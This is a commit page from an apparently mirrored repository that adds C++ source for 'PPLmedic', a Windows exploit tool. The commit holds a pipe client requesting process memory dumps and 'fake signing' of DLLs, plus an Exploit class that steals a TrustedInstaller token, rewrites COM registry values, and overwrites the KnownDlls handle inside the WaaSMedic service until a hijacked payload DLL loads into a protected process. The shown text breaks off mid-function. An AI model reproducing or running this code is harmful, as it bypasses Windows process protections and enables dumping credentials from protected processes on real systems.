Projects STRLCPY PPLmedic Commits a11c89a6
🤬
Showing first 17 files as there are too many
  • ■ ■ ■ ■ ■ ■
    PPLmedic/Client.cpp
     1 +#include "Client.h"
     2 +#include <strsafe.h>
     3 + 
     4 +Client::Client(LPCWSTR PipeName)
     5 +{
     6 + this->_PipeName = PipeName;
     7 + this->_PipeHandle = INVALID_HANDLE_VALUE;
     8 + this->_PipeRequest = (LPBYTE)LocalAlloc(LPTR, PAGE_SIZE);
     9 + this->_PipeResponse = (LPBYTE)LocalAlloc(LPTR, PAGE_SIZE);
     10 + this->_LastError = ERROR_SUCCESS;
     11 +}
     12 + 
     13 +Client::~Client()
     14 +{
     15 + if (this->_PipeHandle != INVALID_HANDLE_VALUE) CloseHandle(this->_PipeHandle);
     16 + if (this->_PipeRequest) LocalFree(this->_PipeRequest);
     17 + if (this->_PipeResponse) LocalFree(this->_PipeResponse);
     18 +}
     19 + 
     20 +BOOL Client::Connect()
     21 +{
     22 + BOOL bResult = TRUE;
     23 + LPWSTR pwszPipeName = NULL;
     24 + 
     25 + EXIT_ON_ERROR(!(pwszPipeName = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR))));
     26 + 
     27 + swprintf_s(pwszPipeName, MAX_PATH, L"\\\\.\\pipe\\%ws", this->_PipeName);
     28 + 
     29 + EXIT_ON_ERROR((this->_PipeHandle = CreateFileW(pwszPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL)) == INVALID_HANDLE_VALUE);
     30 + 
     31 + bResult = TRUE;
     32 + 
     33 +cleanup:
     34 + DEBUG(L"Pipe name: %ws | Handle: 0x%04x | Result: %d", pwszPipeName, HandleToULong(this->_PipeHandle), bResult);
     35 + 
     36 + if (pwszPipeName) LocalFree(pwszPipeName);
     37 + 
     38 + return bResult;
     39 +}
     40 + 
     41 +BOOL Client::GetLastError()
     42 +{
     43 + return this->_LastError;
     44 +}
     45 + 
     46 +BOOL Client::SendAndReceive(PMSG_REQUEST Request, DWORD RequestSize, PMSG_RESPONSE Response, PDWORD ResponseSize)
     47 +{
     48 + BOOL bResult = FALSE;
     49 + DWORD dwBytesWritten, dwBytesRead;
     50 + 
     51 + EXIT_ON_ERROR(!WriteFile(this->_PipeHandle, Request, RequestSize, &dwBytesWritten, NULL));
     52 + EXIT_ON_ERROR(!ReadFile(this->_PipeHandle, Response, PAGE_SIZE, &dwBytesRead, NULL));
     53 + 
     54 + *ResponseSize = dwBytesRead;
     55 + bResult = TRUE;
     56 + 
     57 +cleanup:
     58 + DEBUG(L"LE: %d | Result: %d", LAST_ERROR(bResult), bResult);
     59 + 
     60 + return bResult;
     61 +}
     62 + 
     63 +BOOL Client::GetProtectionLevel(PDWORD ProtectionLevel)
     64 +{
     65 + BOOL bResult = FALSE;
     66 + PMSG_REQUEST pRequest;
     67 + PMSG_RESPONSE pResponse;
     68 + DWORD dwResponseSize;
     69 + 
     70 + pRequest = (PMSG_REQUEST)this->_PipeRequest;
     71 + pResponse = (PMSG_RESPONSE)this->_PipeResponse;
     72 + 
     73 + pRequest->Type = MessageType::DoGetProtectionLevel;
     74 + 
     75 + EXIT_ON_ERROR(!SendAndReceive(pRequest, sizeof(*pRequest), pResponse, &dwResponseSize));
     76 + 
     77 + bResult = pResponse->Result;
     78 + *ProtectionLevel = pResponse->p.ProtectionLevel.Level;
     79 + 
     80 +cleanup:
     81 + DEBUG(L"LE: %d | Result: %d", bResult ? ERROR_SUCCESS : pResponse->LastError, bResult);
     82 + 
     83 + this->_LastError = pResponse->LastError;
     84 + 
     85 + return bResult;
     86 +}
     87 + 
     88 +BOOL Client::DumpProcessMemory(DWORD ProcessId, LPCWSTR FilePath)
     89 +{
     90 + BOOL bResult = FALSE;
     91 + PMSG_REQUEST pRequest;
     92 + PMSG_RESPONSE pResponse;
     93 + DWORD dwResponseSize;
     94 + 
     95 + pRequest = (PMSG_REQUEST)this->_PipeRequest;
     96 + pResponse = (PMSG_RESPONSE)this->_PipeResponse;
     97 + 
     98 + pRequest->Type = MessageType::DoDumpProcess;
     99 + pRequest->p.DumpProcess.Pid = ProcessId;
     100 + swprintf_s(pRequest->p.DumpProcess.OutputFilePath, sizeof(pRequest->p.DumpProcess.OutputFilePath) / sizeof(*pRequest->p.DumpProcess.OutputFilePath), L"%ws", FilePath);
     101 + 
     102 + EXIT_ON_ERROR(!SendAndReceive(pRequest, sizeof(*pRequest), pResponse, &dwResponseSize));
     103 + 
     104 + bResult = pResponse->Result;
     105 + 
     106 +cleanup:
     107 + DEBUG(L"LE: %d | Result: %d", bResult ? ERROR_SUCCESS : pResponse->LastError, bResult);
     108 + 
     109 + this->_LastError = pResponse->LastError;
     110 + 
     111 + return bResult;
     112 +}
     113 + 
     114 +BOOL Client::FakeSignDll(LPCWSTR UnsignedFilePath, LPCWSTR SignedFilePath, PDWORD SigningLevel)
     115 +{
     116 + BOOL bResult = FALSE;
     117 + PMSG_REQUEST pRequest;
     118 + PMSG_RESPONSE pResponse;
     119 + DWORD dwResponseSize;
     120 + 
     121 + pRequest = (PMSG_REQUEST)this->_PipeRequest;
     122 + pResponse = (PMSG_RESPONSE)this->_PipeResponse;
     123 + 
     124 + pRequest->Type = MessageType::DoFakeSignDll;
     125 + swprintf_s(pRequest->p.FakeSignDll.InputFilePath, sizeof(pRequest->p.FakeSignDll.InputFilePath) / sizeof(*pRequest->p.FakeSignDll.InputFilePath), L"%ws", UnsignedFilePath);
     126 + swprintf_s(pRequest->p.FakeSignDll.OutputFilePath, sizeof(pRequest->p.FakeSignDll.OutputFilePath) / sizeof(*pRequest->p.FakeSignDll.OutputFilePath), L"%ws", SignedFilePath);
     127 + 
     128 + EXIT_ON_ERROR(!SendAndReceive(pRequest, sizeof(*pRequest), pResponse, &dwResponseSize));
     129 + 
     130 + bResult = pResponse->Result;
     131 + *SigningLevel = pResponse->p.SigningLevel.Level;
     132 + 
     133 +cleanup:
     134 + DEBUG(L"LE: %d | Result: %d", bResult ? ERROR_SUCCESS : pResponse->LastError, bResult);
     135 + 
     136 + this->_LastError = pResponse->LastError;
     137 + 
     138 + return bResult;
     139 +}
     140 + 
  • ■ ■ ■ ■ ■ ■
    PPLmedic/Client.h
     1 +#pragma once
     2 + 
     3 +#include <Windows.h>
     4 +#include "globaldef.h"
     5 + 
     6 +class Client
     7 +{
     8 +private:
     9 + LPCWSTR _PipeName;
     10 + HANDLE _PipeHandle;
     11 + LPBYTE _PipeRequest;
     12 + LPBYTE _PipeResponse;
     13 + DWORD _LastError;
     14 + 
     15 +public:
     16 + Client(LPCWSTR PipeName);
     17 + ~Client();
     18 + BOOL Connect();
     19 + BOOL GetLastError();
     20 + BOOL SendAndReceive(PMSG_REQUEST Request, DWORD RequestSize, PMSG_RESPONSE Response, PDWORD ResponseSize);
     21 + BOOL GetProtectionLevel(PDWORD ProtectionLevel);
     22 + BOOL DumpProcessMemory(DWORD ProcessId, LPCWSTR FilePath);
     23 + BOOL FakeSignDll(LPCWSTR UnsignedFilePath, LPCWSTR SignedFilePath, PDWORD SigningLevel);
     24 +};
     25 + 
  • ■ ■ ■ ■ ■ ■
    PPLmedic/Exploit.cpp
     1 +#include "Exploit.h"
     2 +#include "Utils.h"
     3 +#include "WaaSMedicClient.h"
     4 +#include "globaldef.h"
     5 +#include "resource.h"
     6 +#include <shlwapi.h>
     7 + 
     8 +#pragma comment(lib, "Shlwapi.lib")
     9 + 
     10 +Exploit::Exploit()
     11 +{
     12 + _BaseNamedObjectsHandle = 0;
     13 + _KnownDllDirectoryHandleAddr = 0;
     14 + _WaaSMedicSvcPid = 0;
     15 + _WaaSMedicCapsuleHandle = INVALID_HANDLE_VALUE;
     16 + _TiToken = NULL;
     17 + _DllSectionHandle = NULL;
     18 + _DummyDllFileHandle = NULL;
     19 + _ProxyStubDllLoadEventHandle = NULL;
     20 + _WaaSMedicCapsulePath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
     21 + _TypeLibPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
     22 + _TypeLibOrigPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
     23 + _TypeLibRegValuePath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
     24 + _ProxyStubOrigPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
     25 + _ProxyStubRegValuePath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
     26 + _ProxyStubDllLoadEventName = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
     27 + _HollowedDllPath = NULL;
     28 + _HijackedDllName = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
     29 + _HijackedDllSectionPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
     30 + _StatePluginDllLocked = FALSE;
     31 + _StateRegTypeLibModified = FALSE;
     32 + _StateTypeLibCreated = FALSE;
     33 + _StateRegProxyStubModified = FALSE;
     34 +}
     35 + 
     36 +Exploit::~Exploit()
     37 +{
     38 + if (Utils::IsServiceRunning(STR_WAASMEDIC_SVC))
     39 + Utils::StopServiceByName(STR_WAASMEDIC_SVC, TRUE);
     40 + 
     41 + if (this->EnumerateTemporaryDirectories(&_TemporaryDiretoriesAfter))
     42 + this->DeleteTemporaryDirectories();
     43 + 
     44 + this->RestoreProxyStubRegistryValue();
     45 + this->RestoreTypeLibRegistryValue();
     46 + this->UnmapPayloadDll();
     47 + this->UnlockPluginDll();
     48 + this->DeleteTypeLib();
     49 + 
     50 + Utils::SafeCloseHandle(&_TiToken);
     51 + Utils::SafeCloseHandle(&_WaaSMedicCapsuleHandle);
     52 + Utils::SafeCloseHandle(&_DummyDllFileHandle);
     53 + Utils::SafeCloseHandle(&_ProxyStubDllLoadEventHandle);
     54 + Utils::SafeFree((PVOID*)&_WaaSMedicCapsulePath);
     55 + Utils::SafeFree((PVOID*)&_TypeLibPath);
     56 + Utils::SafeFree((PVOID*)&_TypeLibOrigPath);
     57 + Utils::SafeFree((PVOID*)&_TypeLibRegValuePath);
     58 + Utils::SafeFree((PVOID*)&_ProxyStubOrigPath);
     59 + Utils::SafeFree((PVOID*)&_ProxyStubRegValuePath);
     60 + Utils::SafeFree((PVOID*)&_ProxyStubDllLoadEventName);
     61 + Utils::SafeFree((PVOID*)&_HollowedDllPath);
     62 + Utils::SafeFree((PVOID*)&_HijackedDllName);
     63 + Utils::SafeFree((PVOID*)&_HijackedDllSectionPath);
     64 + 
     65 + for (LPWSTR pwszEntry : _TemporaryDiretoriesBefore)
     66 + Utils::SafeFree((PVOID*)&pwszEntry);
     67 + for (LPWSTR pwszEntry : _TemporaryDiretoriesAfter)
     68 + Utils::SafeFree((PVOID*)&pwszEntry);
     69 +}
     70 + 
     71 +BOOL Exploit::Run()
     72 +{
     73 + BOOL bResult = FALSE;
     74 + WaaSMedicClient* WaaSMedic = nullptr;
     75 + DWORD i;
     76 + 
     77 + if (!Utils::EnablePrivilege(SE_DEBUG_NAME))
     78 + {
     79 + ERROR(L"Failed to enable privilege %ws.", SE_DEBUG_NAME);
     80 + goto cleanup;
     81 + }
     82 + 
     83 + //
     84 + // If WaaSMedicSvc is running, stop it first and then start it. We want to make sure we are
     85 + // working in a "clean" environment. This is important to ensure that TaskSchdPS.dll is not
     86 + // already loaded.
     87 + //
     88 + 
     89 + EXIT_ON_ERROR(!this->RestartWaaSMedicSvc())
     90 + INFO(L"Service (re)started: %ws", STR_WAASMEDIC_SVC);
     91 + 
     92 + //
     93 + // Determine the value of the \BaseNamedObjects directory handle in the WaaSMedic process.
     94 + // This will help us choose the strategy to adopt for the memory write.
     95 + //
     96 + 
     97 + EXIT_ON_ERROR(!this->FindWaaSMedicSvcBaseNamedObjectsHandle());
     98 + INFO("Directory handle value in remote process: 0x%04x", this->_BaseNamedObjectsHandle);
     99 + 
     100 + //
     101 + // Create the TypeLib file, and modify the registry as TrustedInstaller to replace the
     102 + // original TypeLib file path.
     103 + //
     104 + 
     105 + EXIT_ON_ERROR(!this->WriteTypeLib());
     106 + EXIT_ON_ERROR(!this->ModifyTypeLibRegistryValue());
     107 + INFO(L"TypeLib file created and set in the registry: %ws", this->GetTypeLibPath());
     108 + 
     109 + //
     110 + // Determine the address of the \KnownDlls directory handle. We need this information to
     111 + // know where to write in the target process.
     112 + //
     113 + 
     114 + if (!Utils::GetKnownDllsHandleAddress(&this->_KnownDllDirectoryHandleAddr))
     115 + {
     116 + ERROR(L"Failed to determine the address of LdrpKnownDllDirectoryHandle");
     117 + goto cleanup;
     118 + }
     119 + INFO(L"Known DLL Directory handle @ 0x%llx", (DWORD64)this->_KnownDllDirectoryHandleAddr);
     120 + 
     121 + //
     122 + // We will prepare the DLL hijacking of the 'TaskSchdPS.dll' DLL by 1. creating a section
     123 + // in the object manager for our own DLL with a random name in the \BaseNamedObjects
     124 + // directory, 2. modifying the registry to set this DLL as the Proxy Stub DLL for the
     125 + // ITaskHandler interface.
     126 + //
     127 + 
     128 + EXIT_ON_ERROR(!this->MapPayloadDll());
     129 + INFO(L"Section '%ws' created from file '%ws'", this->GetHijackedDllSectionPath(), this->_HollowedDllPath);
     130 + EXIT_ON_ERROR(!this->CreateDummyDllFile());
     131 + EXIT_ON_ERROR(!this->ModifyProxyStubRegistryValue());
     132 + INFO(L"Proxy/Stub DLL path set in the registry: %ws", this->GetHijackedDllName());
     133 + 
     134 + //
     135 + // The methods LaunchDetectionOnly and LaunchRemediationOnly both call the internal function
     136 + // LoadPluginLibrary, which ultimately calls the LoadLibrary(Ex) API. This API throws an
     137 + // exception if the KnownDlls handle is invalid. By locking the target DLL file, we can
     138 + // force the service to fail before calling LoadLibrary(Ex) and therefore avoid the crash.
     139 + // Another benefit is that it drastically increases the speed of the exploit.
     140 + //
     141 + 
     142 + EXIT_ON_ERROR(!this->LockPluginDll());
     143 + INFO(L"Plugin DLL file locked: %ws", this->GetWaaSMedicCapsulePath());
     144 + 
     145 + //
     146 + // Prepare synchronization. We create a global Event, and start a watcher thread that waits
     147 + // for it to be signaled in a loop.
     148 + //
     149 + 
     150 + EXIT_ON_ERROR((this->_ProxyStubDllLoadEventHandle = CreateEventW(NULL, TRUE, FALSE, this->GetProxyStubDllLoadEventName())) == NULL);
     151 + 
     152 + //
     153 + // Here we start writing random handle values where the \KnownDlls hande is normally stored in
     154 + // a loop. After each write, we attempt to create a remote TaskHandler object. When this object
     155 + // is created, the TaskSchdPS.dll DLL is loaded. So, if the handle value is correct, our version
     156 + // of TaskSchdPS.dll should be loaded (as a "Known DLL"). Otherwise, the handle is not valid and
     157 + // we repeat the operation until we succeed or we reach the maximum number of attempts.
     158 + //
     159 + 
     160 + if (!this->EnumerateTemporaryDirectories(&_TemporaryDiretoriesBefore))
     161 + WARNING(L"Failed to enumerate temporary directories.");
     162 + 
     163 + WaaSMedic = new WaaSMedicClient(this->_KnownDllDirectoryHandleAddr, this->_BaseNamedObjectsHandle);
     164 + 
     165 + EXIT_ON_ERROR(!WaaSMedic->WriteRemoteDllSearchPathFlag());
     166 + SUCCESS(L"Remote DLL search path flag overwritten.");
     167 + 
     168 + INFO(L"Trying to write a valid object directory handle...");
     169 + 
     170 + for (i = 0; i < MAX_ATTEMPTS; i++)
     171 + {
     172 + if ((i + 1) % 100 == 0)
     173 + INFO(L"Attempt %3d/%d (%d%%)", i + 1, MAX_ATTEMPTS, ((i + 1) * 100) / MAX_ATTEMPTS);
     174 + 
     175 + EXIT_ON_ERROR(!WaaSMedic->WriteRemoteKnownDllHandle());
     176 + 
     177 + if (!WaaSMedic->CreateTaskHandlerInstance())
     178 + {
     179 + if (!Utils::IsServiceRunning(STR_WAASMEDIC_SVC))
     180 + {
     181 + WARNING(L"Service %ws is no longer running, it probably crashed because of an invalid handle value.", STR_WAASMEDIC_SVC);
     182 + goto cleanup;
     183 + }
     184 + }
     185 + 
     186 + if (this->IsProxyStubDllLoaded())
     187 + {
     188 + SUCCESS(L"Payload DLL successfully loaded after %d attempts!", i + 1);
     189 + bResult = TRUE;
     190 + break;
     191 + }
     192 + }
     193 + 
     194 + if (i >= MAX_ATTEMPTS)
     195 + {
     196 + ERROR(L"Reached the maximum number of attempts.");
     197 + }
     198 + 
     199 +cleanup:
     200 + this->RestoreProxyStubRegistryValue();
     201 + this->RestoreTypeLibRegistryValue();
     202 + 
     203 + if (this->EnumerateTemporaryDirectories(&_TemporaryDiretoriesAfter)) this->DeleteTemporaryDirectories();
     204 + if (WaaSMedic) delete WaaSMedic;
     205 + 
     206 + DEBUG(L"Result: %d", bResult);
     207 + 
     208 + return bResult;
     209 +}
     210 + 
     211 +BOOL Exploit::Restore()
     212 +{
     213 + BOOL bResult = FALSE, bImpersonated = FALSE;
     214 + LPWSTR pwszProxyStubPath = NULL;
     215 + 
     216 + EXIT_ON_ERROR(!(pwszProxyStubPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR))));
     217 + EXIT_ON_ERROR(!GetSystemDirectoryW(pwszProxyStubPath, MAX_PATH));
     218 + 
     219 + swprintf_s(pwszProxyStubPath, MAX_PATH, L"%ws\\%ws", pwszProxyStubPath, STR_TASKSCHD_TYPELIB_DEFAULT);
     220 + 
     221 + EXIT_ON_ERROR(!this->ImpersonateTrustedInstaller());
     222 + 
     223 + bImpersonated = TRUE;
     224 + 
     225 + EXIT_ON_ERROR(!Utils::SetRegistryStringValue(HKEY_LOCAL_MACHINE, this->GetTypeLibRegValuePath(), NULL, STR_WAASMEDIC_TYPELIB_DEFAULT));
     226 + EXIT_ON_ERROR(!Utils::SetRegistryStringValue(HKEY_LOCAL_MACHINE, this->GetProxyStubRegValuePath(), NULL, this->GetProxyStubOrigPath()));
     227 + 
     228 + bResult = TRUE;
     229 + 
     230 +cleanup:
     231 + if (bImpersonated) this->RevertToSelf();
     232 + Utils::SafeFree((PVOID*)&pwszProxyStubPath);
     233 + 
     234 + return bResult;
     235 +}
     236 + 
     237 +HANDLE Exploit::GetTiToken()
     238 +{
     239 + if (!this->_TiToken)
     240 + this->FindTrustedInstallerToken();
     241 + 
     242 + return this->_TiToken;
     243 +}
     244 + 
     245 +DWORD Exploit::GetWaaSMedicSvcPid()
     246 +{
     247 + if (!this->_WaaSMedicSvcPid)
     248 + this->FindWaaSMedicSvcPid();
     249 + 
     250 + return this->_WaaSMedicSvcPid;
     251 +}
     252 + 
     253 +LPWSTR Exploit::GetTypeLibPath()
     254 +{
     255 + if (!wcslen(this->_TypeLibPath))
     256 + Utils::GenerateTempPath(this->_TypeLibPath);
     257 + 
     258 + return this->_TypeLibPath;
     259 +}
     260 + 
     261 +LPWSTR Exploit::GetTypeLibRegValuePath()
     262 +{
     263 + if (!wcslen(this->_TypeLibRegValuePath))
     264 + this->FindTypeLibRegistryValuePath();
     265 + 
     266 + return this->_TypeLibRegValuePath;
     267 +}
     268 + 
     269 +LPWSTR Exploit::GetTypeLibOrigPath()
     270 +{
     271 + LPWSTR pwszTypeLibPath = NULL;
     272 + 
     273 + if (!wcslen(this->_TypeLibOrigPath))
     274 + {
     275 + if (Utils::GetRegistryStringValue(HKEY_LOCAL_MACHINE, this->GetTypeLibRegValuePath(), NULL, &pwszTypeLibPath))
     276 + {
     277 + swprintf_s(this->_TypeLibOrigPath, MAX_PATH, L"%ws", pwszTypeLibPath);
     278 + 
     279 + if (pwszTypeLibPath)
     280 + LocalFree(pwszTypeLibPath);
     281 + }
     282 + }
     283 + 
     284 + return this->_TypeLibOrigPath;
     285 +}
     286 + 
     287 +LPWSTR Exploit::GetWaaSMedicCapsulePath()
     288 +{
     289 + 
     290 + if (!wcslen(this->_WaaSMedicCapsulePath))
     291 + this->FindWaaSMedicCapsulePath();
     292 + 
     293 + return this->_WaaSMedicCapsulePath;
     294 +}
     295 + 
     296 +LPWSTR Exploit::GetProxyStubRegValuePath()
     297 +{
     298 + if (!wcslen(this->_ProxyStubRegValuePath))
     299 + this->FindProxyStubRegistryValuePath();
     300 + 
     301 + return this->_ProxyStubRegValuePath;
     302 +}
     303 + 
     304 +LPWSTR Exploit::GetProxyStubOrigPath()
     305 +{
     306 + LPWSTR pwszProxyStubPath = NULL;
     307 + 
     308 + if (!wcslen(this->_ProxyStubOrigPath))
     309 + {
     310 + if (Utils::GetRegistryStringValue(HKEY_LOCAL_MACHINE, this->GetProxyStubRegValuePath(), NULL, &pwszProxyStubPath))
     311 + {
     312 + swprintf_s(this->_ProxyStubOrigPath, MAX_PATH, L"%ws", pwszProxyStubPath);
     313 + 
     314 + Utils::SafeFree((PVOID*)&pwszProxyStubPath);
     315 + }
     316 + }
     317 + 
     318 + return this->_ProxyStubOrigPath;
     319 +}
     320 + 
     321 +LPWSTR Exploit::GetProxyStubDllLoadEventName()
     322 +{
     323 + if (!wcslen(this->_ProxyStubDllLoadEventName))
     324 + {
     325 + swprintf_s(this->_ProxyStubDllLoadEventName, MAX_PATH, L"Global\\%ws", STR_IPC_WAASMEDIC_LOAD_EVENT_NAME);
     326 + }
     327 + 
     328 + return this->_ProxyStubDllLoadEventName;
     329 +}
     330 + 
     331 +LPWSTR Exploit::GetHijackedDllName()
     332 +{
     333 + if (!wcslen(this->_HijackedDllName))
     334 + {
     335 + swprintf_s(this->_HijackedDllName, MAX_PATH, L"%ws", STR_HIJACKED_DLL_NAME);
     336 + }
     337 + 
     338 + return this->_HijackedDllName;
     339 +}
     340 + 
     341 +LPWSTR Exploit::GetHijackedDllSectionPath()
     342 +{
     343 + if (!wcslen(this->_HijackedDllSectionPath))
     344 + {
     345 + swprintf_s(this->_HijackedDllSectionPath, MAX_PATH, L"\\%ws\\%ws", STR_BASENAMEDOBJECTS, this->GetHijackedDllName());
     346 + }
     347 + 
     348 + return this->_HijackedDllSectionPath;
     349 +}
     350 + 
     351 +BOOL Exploit::RestartWaaSMedicSvc()
     352 +{
     353 + BOOL bResult = FALSE;
     354 + DWORD dwWaaSMedicStatus;
     355 + 
     356 + EXIT_ON_ERROR(!Utils::GetServiceStatusByName(STR_WAASMEDIC_SVC, &dwWaaSMedicStatus));
     357 + 
     358 + if (dwWaaSMedicStatus == SERVICE_RUNNING)
     359 + {
     360 + INFO("%ws is running, stopping it...", STR_WAASMEDIC_SVC);
     361 + EXIT_ON_ERROR(!Utils::StopServiceByName(STR_WAASMEDIC_SVC, TRUE));
     362 + }
     363 + 
     364 + INFO("Starting service %ws...", STR_WAASMEDIC_SVC);
     365 + EXIT_ON_ERROR(!Utils::StartServiceByName(STR_WAASMEDIC_SVC, TRUE));
     366 + 
     367 + bResult = TRUE;
     368 + 
     369 +cleanup:
     370 + DEBUG(L"Result: %d", bResult);
     371 + 
     372 + if (!bResult)
     373 + ERROR(L"Failed to (re)start service %ws.", STR_WAASMEDIC_SVC);
     374 + 
     375 + return bResult;
     376 +}
     377 + 
     378 +BOOL Exploit::FindWaaSMedicSvcPid()
     379 +{
     380 + return Utils::GetServiceProcessId(STR_WAASMEDIC_SVC, &_WaaSMedicSvcPid);
     381 +}
     382 + 
     383 +BOOL Exploit::LockPluginDll()
     384 +{
     385 + BOOL bResult = FALSE;
     386 + 
     387 + if (!this->_StatePluginDllLocked)
     388 + {
     389 + EXIT_ON_ERROR((_WaaSMedicCapsuleHandle = CreateFileW(this->GetWaaSMedicCapsulePath(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE);
     390 + EXIT_ON_ERROR(!LockFile(_WaaSMedicCapsuleHandle, 0, 0, 4096, 0));
     391 + 
     392 + this->_StatePluginDllLocked = TRUE;
     393 + }
     394 + 
     395 + bResult = TRUE;
     396 + 
     397 +cleanup:
     398 + DEBUG(L"Lock: %d | Result: %d", this->_StatePluginDllLocked, bResult);
     399 + 
     400 + if (!bResult)
     401 + ERROR(L"Failed to lock file: %ws", this->GetWaaSMedicCapsulePath());
     402 + 
     403 + return bResult;
     404 +}
     405 + 
     406 +BOOL Exploit::UnlockPluginDll()
     407 +{
     408 + BOOL bResult = FALSE;
     409 + 
     410 + if (this->_StatePluginDllLocked)
     411 + {
     412 + EXIT_ON_ERROR(!UnlockFile(_WaaSMedicCapsuleHandle, 0, 0, 4096, 0));
     413 + this->_StatePluginDllLocked = FALSE;
     414 + }
     415 +
     416 + bResult = TRUE;
     417 + 
     418 +cleanup:
     419 + DEBUG(L"Lock: %d | Result: %d", this->_StatePluginDllLocked, bResult);
     420 + 
     421 + if (!bResult)
     422 + ERROR(L"Failed to unlock file: %ws", this->GetWaaSMedicCapsulePath());
     423 + 
     424 + return bResult;
     425 +}
     426 + 
     427 +BOOL Exploit::FindWaaSMedicSvcBaseNamedObjectsHandle()
     428 +{
     429 + LPWSTR pwszFileVersion = NULL;
     430 + 
     431 + if (!Utils::FindUniqueHandleValueByTypeName(this->GetWaaSMedicSvcPid(), L"Directory", &_BaseNamedObjectsHandle))
     432 + {
     433 + if (Utils::GetFileVersion(STR_MOD_NTDLL, &pwszFileVersion))
     434 + {
     435 + WARNING(L"NTDLL is probably not patched (current version: %ws)", pwszFileVersion);
     436 + Utils::SafeFree((PVOID*)&pwszFileVersion);
     437 + }
     438 + else
     439 + {
     440 + WARNING(L"NTDLL is probably not patched.");
     441 + }
     442 + 
     443 + return FALSE;
     444 + }
     445 + 
     446 + return TRUE;
     447 +}
     448 + 
     449 +BOOL Exploit::FindTrustedInstallerToken()
     450 +{
     451 + //
     452 + // https://www.tiraniddo.dev/2017/08/the-art-of-becoming-trustedinstaller.html
     453 + //
     454 + 
     455 + BOOL bResult = FALSE, bImpersonation = FALSE;
     456 + DWORD dwTiSvcStatus, dwTiSvcPid;
     457 + HANDLE hSnapshot = INVALID_HANDLE_VALUE, hThread = NULL;
     458 + THREADENTRY32 ThreadEntry;
     459 + SECURITY_QUALITY_OF_SERVICE Qos;
     460 + NTSTATUS status = STATUS_SUCCESS;
     461 + 
     462 + EXIT_ON_ERROR(!Utils::EnablePrivilege(SE_DEBUG_NAME));
     463 + EXIT_ON_ERROR(!Utils::EnablePrivilege(SE_IMPERSONATE_NAME));
     464 + EXIT_ON_ERROR(!Utils::GetServiceStatusByName(STR_TI_SVC, &dwTiSvcStatus));
     465 + 
     466 + if (dwTiSvcStatus != SERVICE_RUNNING)
     467 + {
     468 + INFO(L"Starting service %ws...", STR_TI_SVC);
     469 + EXIT_ON_ERROR(!Utils::StartServiceByName(STR_TI_SVC, TRUE));
     470 + }
     471 + 
     472 + EXIT_ON_ERROR(!Utils::GetServiceProcessId(STR_TI_SVC, &dwTiSvcPid));
     473 + EXIT_ON_ERROR((hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)) == INVALID_HANDLE_VALUE);
     474 + 
     475 + ZeroMemory(&ThreadEntry, sizeof(ThreadEntry));
     476 + ThreadEntry.dwSize = sizeof(ThreadEntry);
     477 + 
     478 + EXIT_ON_ERROR(!Thread32First(hSnapshot, &ThreadEntry));
     479 + 
     480 + do
     481 + {
     482 + if (ThreadEntry.th32OwnerProcessID == dwTiSvcPid)
     483 + {
     484 + if (hThread = OpenThread(THREAD_DIRECT_IMPERSONATION, FALSE, ThreadEntry.th32ThreadID))
     485 + break;
     486 + }
     487 + 
     488 + } while (Thread32Next(hSnapshot, &ThreadEntry));
     489 + 
     490 + ZeroMemory(&Qos, sizeof(Qos));
     491 + Qos.Length = sizeof(Qos);
     492 + Qos.ImpersonationLevel = SecurityImpersonation;
     493 + 
     494 + EXIT_ON_ERROR(!NT_SUCCESS(status = NtImpersonateThread(GetCurrentThread(), hThread, &Qos)));
     495 + 
     496 + bImpersonation = TRUE;
     497 + 
     498 + EXIT_ON_ERROR(!OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &_TiToken));
     499 + 
     500 + bResult = TRUE;
     501 + 
     502 +cleanup:
     503 + if (bImpersonation) RevertToSelf();
     504 + Utils::SafeCloseHandle(&hThread);
     505 + Utils::SafeCloseHandle(&hSnapshot);
     506 + Utils::SetLastErrorFromNtStatus(status);
     507 + 
     508 + DEBUG(L"Result: %d", bResult);
     509 + 
     510 + return bResult;
     511 +}
     512 + 
     513 +BOOL Exploit::ImpersonateTrustedInstaller()
     514 +{
     515 + BOOL bResult = FALSE;
     516 + HANDLE hThread;
     517 + 
     518 + hThread = GetCurrentThread();
     519 + 
     520 + EXIT_ON_ERROR(!SetThreadToken(&hThread, this->GetTiToken()));
     521 + 
     522 + bResult = TRUE;
     523 + 
     524 +cleanup:
     525 + DEBUG(L"Result: %d", bResult);
     526 + 
     527 + return bResult;
     528 +}
     529 + 
     530 +BOOL Exploit::RevertToSelf()
     531 +{
     532 + BOOL bResult = ::RevertToSelf();
     533 + 
     534 + DEBUG(L"Result: %d", bResult);
     535 + 
     536 + return bResult;
     537 +}
     538 + 
     539 +BOOL Exploit::WriteTypeLib()
     540 +{
     541 + BOOL bResult = FALSE;
     542 + 
     543 + HRESULT hr = S_OK;
     544 + UINT i, j, cNames;
     545 + 
     546 + ITypeLib* TypeLibOrig = NULL;
     547 + ITypeInfo* TypeInfoOrig = NULL;
     548 + TLIBATTR* pTLibAttrOrig = NULL;
     549 + TYPEATTR* pTypeAttrOrig = NULL;
     550 + FUNCDESC* pFuncDescOrig = NULL;
     551 + BSTR TypeLibName = NULL;
     552 + 
     553 + ITypeLib* TypeLibRef = NULL;
     554 + ITypeInfo* TypeInfoRef = NULL;
     555 + HREFTYPE hRefType;
     556 + BSTR Names[8];
     557 + 
